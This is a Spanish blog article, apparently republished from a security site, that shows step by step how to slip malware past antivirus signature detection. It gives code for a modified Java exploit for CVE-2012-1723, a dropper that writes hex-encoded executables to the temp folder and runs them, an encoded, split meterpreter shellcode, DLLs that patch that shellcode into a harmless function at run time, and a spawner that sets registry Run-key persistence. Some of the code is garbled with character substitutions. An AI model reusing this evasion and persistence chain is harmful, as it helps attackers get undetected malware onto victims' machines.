Este artículo lo publiqué originalmente en Security By Default.
Antes de entrar en la parte técnica y llegar a la programación, donde seguramente muchos lectores dejen de leer, quiero hacer una pequeña introducción para todos los públicos.
En este artículo voy a escribir un poco sobre lo fácil que es burlar la protección de un antivirus sin tener que recurrir a técnicas complejas y algoritmos "vanguardistas" como encoders, polimorfismos, metamorfismos y demás ingenios, que muchas veces nos llevan a la falsa creencia de que un posible intruso o creador de malware debe ser un genio de los ordenadores, y como hay pocos genios es difícil que nos toque. De hecho un gran porcentaje de incidentes de seguridad se produce aprovechando vulnerabilidades o malware antiguos, que a priori todo antivirus detectaría fácilmente de no haber sido modificados.
Eso, sumado a la falsa seguridad que nos proporciona el software como los antivirus o firewalls hace que la gran mayoría de la gente no preste la atención que debiera a la seguridad de sus sistemas (ya no vamos a entrar en el recalcado tema de cómo escoger una buena contraseña).
Se invierten millones de euros en investigación de protecciones de seguridad informática y existe todo un gran mercado en torno a ello, pero al final del día el mejor antivirus, y la mejor protección que "podría" existir para nuestros ordenadores es el propio usuario (aunque desgraciadamente, todavía siga siendo lo contrario). Muchas veces me han pedido consejo para escoger un antivirus, o me han preguntado que antivirus utilizo, y cuando yo contestaba "ninguno" se quedaban un poco sorprendidos. Si bien hoy en día si utilizo, es verdad que he estado muchísimos años sin utilizarlos.
A lo que quiero llegar es que fuera del mundillo de la seguridad informática, se sigue confiando la seguridad un 100% a programas como los antivirus, la gente se siente protegida con ellos, lo cual es contraproducente. Pequeñas cosas como mantener actualizados todos nuestros programas, ser cuidadosos con las cosas que descargamos o controlar que servicios tenemos corriendo en nuestras máquinas en cada momento quedan relegados a un segundo plano (muchísima gente ni siquiera le da importancia a no actualizar), aunque no infalible, minimizan mucho los riesgos, convirtiendo un antivirus en una capa de protección más, y no en la más importante.
Dicho esto, y después de asustar un poco a los no iniciados (esa era la intención), entremos al lío.
De todos es sabido que los antivirus basan casi el 90% de su detección en la búsqueda de signatures, partes de código reconocibles como maliciosas o sospechosas se que van actualizando en sus bases de datos de firmas según se descubren nuevos virus o exploits.
Para camuflar este tipo de firmas en malware, una de las cosas que más se están utilizando son encoders de todo tipo, que manipulan ese código detectable convirtiendolo en otro diferente que hace la misma función, pero a la larga esos encoders se vuelven inefectivos porque siguen un patrón que puede detectarse con análisis heurístico. Incluso el famoso y polimórfico shikata ga nai es inefectivo hoy en día, por muchos pases que se apliquen.
Por regla general, un antivirus realiza el análisis de los archivos tanto cuando se escriben en disco como cuando son ejecutados, pero no monitoriza toda la ejecución del mismo, porque eso requeriría de unos recursos de los que una máquina normal hoy en día no dispone (imaginad que cada vez que se ejecutase un Photoshop u otro programa intensivo computacionalmente, el AV tuviese que monitorizar en todo momento todas las operaciones que realiza).
Sin embargo existen técnicas que le pueden poner las cosas muy difíciles a un antivirus, incluso a los análisis heurísticos, y que sólo un análisis exhaustivo por parte de un humano en un entorno sandbox podría detectar (algo impensable para la detección en tiempo real).
Algo de lo que adolecen los antivirus es que analizan los archivos independientemente, y no como un conjunto de archivos que forman una pieza de software. Y desgraciadamente deben hacerlo así para evitar multitud de falsos positivos.
Por ejemplo, en uno de los últimos exploits Java (CVE-2012-1723), compuesto por varias clases empaquetadas en un jar, detectaba la firma sólo en dos de ellas, donde se ejecutaban las funciones sospechosas, con lo que separando esas firmas en clases diferentes se podía anular la detección muy fácilmente.
Sin entrar en detalles, este exploit se basa en type confusion, asignando una clase con funciones que requieren privilegios de sistema a otra clase de distinto tipo que no los requiere, saltándose el sandbox java de ese modo. El antivirus detectaba el exploit en la clase que forzaba la confusión (llamemosle confusor), y en un par de líneas de código de otra clase, donde se creaba la instancia del confusor (probablemente para detectar variantes del exploit donde el confusor fuese diferente).
No fue necesario utilizar ningún tipo de ofuscación de clases sobre el exploit:
Para el confusor bastó con cambiar un bucle for de 100 iteraciones por 110 para que el antivirus ya no lo marcase como peligroso.
En cuanto a la clase donde se creaba la instancia de forma reflectiva, el AV lo detectaba cuando estas dos líneas aparecían juntas en el mismo archivo, pero separandolas de una manera extremadamente trivial, neutralizamos totalmente lo que el AV daba por sentado como malicioso:
// ClassLoader.java Lineas detectadas por el AV
...
final Class inst = confusor.defineClass(var1, var2, 0, var2.length, var3);
inst.newInstance();
...
// ClassLoader.java Modificado
...
final Class inst = rol.defineClass(var1, var2, 0, var2.length, var3);
Separada.crear(inst);
...
// Separada.java
public class Separada {
public static void crear(final Class otra) {
try {
otra.newInstance();
} catch (final Exception e) {}
}
}
Como se puede apreciar, realizando pequeñas modificaciones al código, y sobretodo separando las partes del código sospechosas en diferentes lugares es muy sencillo desaparecer de la lista de firmas del AV. De este modo y con un poco de creatividad podríamos ocultar incluso ROP chains, heap sprays..., pilares de muchos exploits modernos.
Para continuar, y ya que hemos utilizado el exploit java para demostrar cómo evadir el antivirus durante la fase de explotación, vamos a ver como ocultar también un payload, ya que las shellcode más comunes suelen ser detectadas per se como firmas.
Hemos modificado el código del exploit de java para evitar el antivirus, pero en cuanto añadiesemos a la ecuación nuestra shellcode (por ejemplo un meterpreter https reverso), volvería a ser detectado. Dado que el exploit en java no nos limita en tamaño a la hora de weaponizarlo con un payload, y como ya nos hemos saltado el sandbox java, ¿por qué ejecutar la shellcode directamente desde el exploit, cuando podemos volcar un ejecutable a disco y lanzar la shellcode desde allí? Podría parecer una estupidez hacer una escritura a disco dando al AV una oportunidad extra de análisis, pero como veremos más adelante evitar la detección de la explotación asumiendo ese riesgo tiene sus ventajas si nos encargamos de ocultarlo bien en la fase post-exploit, donde contamos con más flexibilidad para hacerlo.
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.lang.ProcessBuilder;
import java.io.FileOutputStream;
public class Payload {
static String spawmerl = "4D5A90000300000004000000FFFF...";
static String spawmer2 = "743FFF75F857FF75FOFF75F4FF75...";
static String payload1 = "4D5A90000300000004000000FF...";
static String payload2 = "0489448F048D048D0000000003...";
static String dllA1 = "4D5A90000300000004000000FF...";
static String dllA2 = "894518895OF8395O2475OB8B4S...";
static String dllB1 = "4D5A90000300000004000000FF...";
static String dllB2 = "000000E862D5FFFFFFB6CC0000...";
public static byte[] CadenaToBytes(String s) {
int len = s.length();
byte[] dig = new byte[len / 2];
for (int i = 0; i < s.length(); i += 2 ) {
dig[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
}
return dig;
}
public static Object run() throws Exception {
try {
String ruta = System.getProperty( "java.io.tmpdir" ) + File.separator + "spawmer.exe";
scriFi(ruta, CadenaToBytes(spawmer1));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "spawmer.exe";
scriFiGran(ruta, CadenaToBytes(spawner2));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode1.dat";
scriFi(ruta, CadenaToBytes(dllA1));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode1.dat";
scriFiGran(ruta, CadenaToBytes(dllA2));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "payload.exe";
scriFi(ruta, CadenaToBytes(payload1));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "payload.exe";
scriFiGran(ruta, CadenaToBytes(payload2));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode2.dat";
scriFi(ruta, CadenaToBytes(dllB1));
ruta = System.getProperty("java.io.tmpdir") + File.separator + "shellcode2.dat";
scriFiGran(ruta, CadenaToBytes(dllB2));
ejecutar(System.getProperty("java.io.tmpdir") + File.separator + "spawmer.exe");
} catch(Exception e) {}
return null;
}
public static Process ejecutar(String ruta) {
String[] args = {"cmd","/c", ruta};
Runtime rt = Runtime.getRuntime();
ProcessBuilder pb = new ProcessBuilder(args);
pb.directory(new File(System.getProperty("java.io.tmpdir")));
Process pro = null;
try {
pro = pb.start();
if (pro == null) {}
} catch(Exception e) {
e.printStackTrace();
}
return pro;
}
public static void scriFi(String ruta, byte[] datos) {
try {
FileOutputStream oustre = new FileOutputStream(ruta);
oustre.write(datos);
oustre.close();
} catch(Exception e) {}
}
public static void scriFiGran(String ruta, byte[] datos) {
try {
FileOutputStream oustre = new FileOutputStream(ruta, true);
oustre.write(datos);
oustre.close();
} catch(Exception e) {}
}
Como se puede apreciar, hemos convertido los binarios en cadenas de texto (los he truncado por legibilidad), los hemos almacenado en variables (separados en dos mitades), y los recodificamos a binario antes de escribirlos a disco, consiguiendo que el AV no los detecte al analizar el paquete Java.
Con eso ya estamos separando el payload del propio exploit (recordad, separación es la clave), pero tendremos que conseguir que el payload sea también indetectable.
Para ello vamos a utilizar varios trucos. En primer lugar, cogeremos nuestra shellcode y la partiremos en 2 mitades (una vez más). Con eso ya sería suficiente, pero para este ejemplo, además, he creado un sencillo "encoder" que hace rotaciones de bits en cada byte de la shellcode y luego los invierte, con la intención de camuflarla un poco. Así que ya tenemos dos mitades de nuestro meterpreter, previamente scrambled con el miniencoder.
BYTE semishell[] =
"\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57"
"\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb"
"\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83"
"\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80"
"\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8"
"\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08"
"\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f"
"\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81"
"\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0"
"\xC5\xf1\x08\xd0\xf9\x07\x10\x2C\x04\x1f\x0b\xC3\x95\x03\x98"
"\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e"
"\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f";
BYTE semishell2[] =
"\x00\xd9\x93\xf6\xc5\xbd\x3a\x70\xc2\x9e\x71\x07\xed\xb9\xff"
"\xff\xff\x54\x47\x3c\x0b\x97\xba\xc0\x0b\xf0\x08\x70\x71\x37"
"\x3a\xc0\x0b\x75\xff\x2e\x31\x5a\x09\x68\xac\xd4\x00\x00\x04"
"\x00\x34\x57\xcf\x62\x9a\x35\x72\x57\xff\xe5\xa6\x29\xc2\x86"
"\xeB\x00\x20\x00\x00\x18\x00\x00\x02\x00\x34\x40\xd4\x75\xff"
"\x65\x54\xd6\x78\x68\x00\x00\xab\x73\xe8\xa5\x97\xff\xff\xff"
"\x9d\x8e\x29\xaf\xea\xeb\x20\x1d\x5a\xa1\xae\x03\xc2\xd5\xff"
"\xde\xc0\x60\xa5\xa1\x2b\x57\xae\xd5\xba\xff\x26\x57\xff\x86"
"\x3d\x91\xab\x86\xca\x7c\x35\x50\x08\x9a\x07\x98\x00\x00\x99"
"\x80\xd0\xd6\x80\xa6\xd8\x26\xea\xff\x76\x8b\xaa\xbe\x0d\x41"
"\x29\x51\xa4\x94\x92\x48\x14\xc8\x00\x68\xa4\xb4\x89\x95\x09"
"\xaf\xea\xff\x8d\xe7\x4c\x75\x0d\x41\xa9\x00\x00\x40\xdd\x86"
"\x2a\x45\x81\x6a\xa2\x54\x4e\x13\x6b";
Si sólo utilizaramos el encoder sobre la shellcode entera, el antivirus podría reconocerla con algo de heurística, pero de este modo aunque aplique la heurística a cada mitad, no se encontrará con la shellcode completa, con lo que no la reconocerá como firma.
Podríamos crear un sencillo ejecutable que lanzase esa shellcode, pero aquí vamos a utilizar otro truco para engañar aún más.
Crearemos un ejecutable normal (payload.exe), con una función trivial que no haría saltar jamás al antivirus, porque no realiza ninguna acción sospechosa, pero utilizaremos unas librerías dinámicas para sobreescribir esa función trivial con nuestra shellcode en tiempo de ejecución, y ya en memoria:
#include <Windows.h>
void inofensiva();
int __stdcall WinMain(HINSTANCE hInst, HINSTANCE, LPSTR 1pCndLine, int nShowCmd) {
HMODULE hLib = LoadLibrary(L"shellcode1.dat”);
Sleep(5000);
HMODULE hLib2 = LoadLibrary(L"shellcode2.dat”);
Sleep(5000);
FreeLibrary(hLib);
FreeLibrary(hLib2);
inofensiva();
return 0;
}
void inofensiva() {
_asm
{
nop;
nop;
nop;
nop;
nop;
nop;
...
}
}
Debemos configurar el compilador para que no utilice el NX/XD (DEP) ni base dinámica (ASLR), de este modo la dirección de memoria que sobreescribiremos en nuestro programa no variará en cada ejecución, ni la memoria estará desorganizada por el ASLR, lo cual sería un problema para escribir secuencialmente.
Como veis, y para esta demostración, la función inofensiva() está compuesta por una serie de NOPs (o cualquier otra cosa), para hacerla más fácil de encontrar en nuestro debugger, y debe tener el tamaño suficiente para albergar nuestra shellcode una vez la sobreescribamos.
Lo ejecutamos en el debugger para localizar la dirección donde comienza dicha función:
Dado que en este caso el programa comienza a ejecutarse en 400000, nuestro offset para comenzar a sobreescribir será 53F0, que es el punto de entrada de la función.
Un análisis por parte del antivirus sobre el ejecutable no revelaría nada ya que el código de la shellcode no sobreescribe la función inofensiva() hasta que cargamos las librerías.
Como hemos partido la shellcode en 2 mitades, crearemos dos DLL (shellcode1.dat y shellcode2.dat), una con cada mitad (una vez más, separación), de este modo el AV aunque analice cada DLL en disco, no encontrará nada.
#inc1ude <Windows.h>
void sobreescribir();
BYTE* recodificar(BYTE arr[], int rot, int size);
BYTE lrotate(BYTE val, int n);
BYTE rrotate(BYTE val, int n);
DWORD MY_OFFSET = OxO5BFO;
DWORD PTR_PROTECT_OLD = 0;
DWORD PTR_PROTECT_NEW = PAGE_READWRITE;
DWORD SIZE_SHELL = 0;
int rot = 3;
BYTE semishell[] =
"\xd7\x5f\x5d\xff\x9e\xbc\x56\x74\x1a\xa2\x00\x4d\x5d\xab\x57"
"\xae\xff\x89\x5d\xff\x1c\x13\x77\x98\x1a\xa2\x96\xcd\xa5\xbb"
"\x68\x00\x1d\x2b\xe6\x0d\x75\x43\xeb\x24\xe2\xd2\xf5\x0b\x83"
"\xff\x51\xb4\x56\x0b\xb5\x6b\x90\x12\x44\x13\x34\x08\xb8\x80"
"\x2e\xe9\x01\x38\x16\x5c\xb4\x81\x2e\x33\xd3\x02\x09\xc2\xb8"
"\x0b\x8b\xba\x24\xfa\xce\xc7\xd7\x60\xd3\xba\xe0\x70\xf1\x08"
"\xd0\xf9\x07\x56\xc0\x62\xff\x89\x6d\x20\x2e\x1a\x8b\x92\x0f"
"\x1f\x3d\x20\x80\x2c\x8b\x30\x12\x5c\x05\x1a\x04\x25\x74\x81"
"\x61\xc3\x04\x71\x43\x80\x3c\x84\xe2\x80\x25\x71\x5d\x29\xf0"
"\xc5\xf1\x08\xd0\xf9\x07\x10\x2c\x04\x1f\x0b\xc3\x95\x03\x98"
"\xff\x62\x89\x52\x7b\xe1\xa0\x39\x8b\x28\x94\x5c\xc0\x4a\x2e"
"\x18\x52\x17\x19\x96\x13\xbc\x26\x30\x00\x00\x00\x4c\x8e\x9f";
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: sobreescribir(); break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: break;
default: break;
}
return TRUE;
}
void sobreecribir() {
SIZE_SHELL= sizeof(semishell);
BYTE* chell = decodificar(semishell, rot, SIZE_SHELL-1);
BYTE* offset = (BYTE*) ((DWORD) GetModuleHandle(0) + MY_OFFSET);
VirtualProtectEx(GetCurrentProcess(), (LPVOID) offset, SIZE_SHELL, PTR_PROTECT_NEW, &PTR_PROTECT_0LD);
for (unsigned int i = 0; i < SIZE_SHELL; i++) {
BYTE b = chell[i];
*(offset + i) = b;
Sleep(10);
}
VirtualProtectEx(GetCurrentProcess(), (LPVOID) offset, SIZE_SHELL, PTR_PROTECT_OLD, &PTR_PROTECT_NEW);
}
BYTE* decodificar(BYTE arr[], int rot, int size) {
BYTE temp_rev;
for (int i = 0; i < size/2; i++) {
temp_rev = arr[i];
arr[i] = arr[size-i-1];
arr[size-i-1] = temp_rev;
}
bool dir = true;
for (int i = 0; i < size; i++) {
if (dir) {
arr[i] = lrotate(arr[i], rot + i);
dir = false;
} else {
arr[i] = rrotate(arr[i], rot + i);
dir = true;
}
}
return arr;
}
BYTE lrotate(BYTE val, int n) {
unsigned int t;
t = val;
for (int i = 0; i < n; i++) {
t = t << 1;
if(t & 256) {
t = t | 1;
}
}
return t;
}
BYTE rrotate(BYTE val, int n) {
unsigned int t;
t = val;
t = t << 8;
for (int i = 0; i < n; i++) {
t = t >> 1;
if(t & 128) {
t = t | 32768;
}
}
En MY_OFFSET establecemos la posición de memoria en tiempo de ejecución donde debe empezar a sobreescribir. Decodificamos nuestra media shellcode anteriormente “revuelta”, y la escribimos donde estaba la función inofensiva().
VirtualProtectEx, así como otras que permiten API hooking, es una de las funciones más vigiladas por un antivirus dado que abre las puertas a escribir en memoria en tiempo de ejecución, pero como hemos dicho antes, solo estamos escribiendo media shellcode, y es por esa razón por la que no saltará la alarma, y es a lo que me refería con que un antivirus escanea archivos independientes, y no como un conjunto.
También habréis notado que utilizo sleeps para pausar la ejecución. Es solo una sospecha personal infundada, pero aunque retrasa la ejecución del payload creo que algunos antivirus (especialmente los que quieren vendernos que casi no comen recursos al ordenador) dejan de analizar si el proceso que monitorizan es lento, especialmente si es un bucle, para ahorrar recursos y no interferir en la experiencia del usuario. Y también para tratar de que el AV no “relacione” una función con la anterior, aunque supongo que eso ya es un raciocinio humano que no se aplica a una máquina ;)
Para la segunda DLL, solo tenemos que cambiar la segunda mitad de la shellcode y el offset para continuar escribiendo en la posición donde terminó la primer mitad.
Algo que podríamos hacer para enrrevesarlo aún más (aunque para no complicarlo demasiado no lo hemos hecho aquí), sería empezar escribiendo la segunda parte de la shellcode, y luego la primera (simplemente invirtiendo el orden en el que hacemos el LoadLibrary), con lo cual nos curamos en salud ante un posible análisis secuencial de lo que estamos escribiendo en memoria.
Ya para terminar, vamos a añadir una capa más de separación, utilizando un ejecutable (spawner.exe) , el cual es el verdadero ejecutado por nuestro exploit java y que será el encargado de lanzar el payload (Nota: he hecho esto porque a día de escribir el código, el reverse https terminaba el proceso al cabo de unos minutos si no se establecía una conexión):
include <windows.h>
include <tlhelp32.h>
include <tchar.h>
int FIND_PROC_BY_NAME(const char *);
int __stdcall winMain(HINSTANCE hInst, HINSTANCE, LPSTR lpCmdLine, int nShowCmd) {
LPwSTR *szArgList;
TCHAR *regu = _T("-noregistry");
int argCount;
szArgList = CommandLineToArgvW(GetCommandLine(), &argCount);
if ((argCount <= 1) || (wcscmp((TCHAR *)szArgList[1], regu) != 0)) {
TCHAR szPath[MAX_PATH];
GetModu1eFileName(NULL, szPath, MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\windows\\CurrentVersion\\Run"), &newValue);
RegSetValueEx(newValue, TEXT("checklibs"), 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath));
RegCloseKey(newValue);
}
LocalFree(szArgList);
TCHAR pro[MAX_PATH] = _T("\\payload.exe");
TCHAR dire[MAX_PATH+1];
GetCurrentDirectory(MAX_PATH, dire);
whi1e(true) {
if (FIND_PROC_BY_NAME("payload.exe") == 0) {
ShellExecute(NULL, _T("open"), _tcscat(dire, pro), NULL, NULL, SW_NORMAL);
Sleep(10000);
}
}
Este pequeño programa también es inofensivo a los ojos del AV, y lo único que hace es monitorizar si existe el proceso de nuestro payload, y si no es así, lo relanza.
Además, como hemos creado una entrada en el autorun del registro (lo cual podría resultar sospechoso para el AV), siempre es mejor que el "sospechoso" sea este nuestro spawner inofensivo, y no el que carga las librerías del payload.
Resumiendo:
- Hemos lanzado nuestro exploit en java, ya modificado, con lo cual el antivirus no lo ha detectado.
- El exploit ha volcado 4 archivos al directorio temporal de Windows. El AV los analiza en el momento en que se escriben a disco. Dos de ellos son ejecutables inofensivos, con lo cual no los detecta. Los otros dos son las librerías donde está la shellcode, pero son dos archivos independientes, el AV tampoco detectará una shellcode completa.
- Se ejecuta nuestro lanzador inofensivo, el AV no lo detecta en la ejecución. Se ejecuta el payload lanzado, y el AV analiza qué trata de hacer (una función inofensiva), también analiza las DLL al cargarlas (pero cada una realiza la sobreeescritura por separado, tampoco las detecta). Llegado ese punto la shellcode ya está reemplazando la función inofensiva(), pero el AV ya no puede detectarlo, ya que para ello tendría que volver a analizar la ejecución completa del programa en memoria y darse cuenta que el código fue sobreescrito, algo que requeriría muchos más recursos, y que en un programa más complejo sería demasiado intensivo.
Hemos engañado al antivirus sin rompernos la cabeza con algoritmos imposibles, simplemente separando código malicioso en diversos trozos y lugares, y ejecutandolo de una forma poco convencional (sobreescribiendo una función ya existente). Podríamos haber utilizado otros trucos sencillos, como crear un programa con un overflow deliberado y explotarlo para lanzar la shellcode (algo que el antivirus jamás se "imaginaría"), en lugar de integrarla en el propio programa como una función más.
En el hipotético caso de que esto fuese un malware real, ya conocido, y con las firmas añadidas a un antivirus, bastaría con partir en más trozos todavía el código para que el AV dejase de detectarlo, y se convertiría en el juego del gato y el ratón.
¿Soluciones? Pues es bastante complicado. Para que los antivirus pudiesen conseguir una detección robusta no basada en firmas conocidas deberían ser capaces de monitorizar todos los procesos que ocurren en una máquina en todo momento, de relacionar esos procesos entre si de forma racional, tendrían que ser capaces de descubrir automáticamente vulnerabilidades en los programas (sin saber de antemano que las tienen); en definitiva, ser una inteligencia artificial que a día de hoy solo es ciencia ficción. Y necesitarían utilizar prácticamente la totalidad de los recursos de la máquina dejando una pequeñísima parte para el resto de procesos.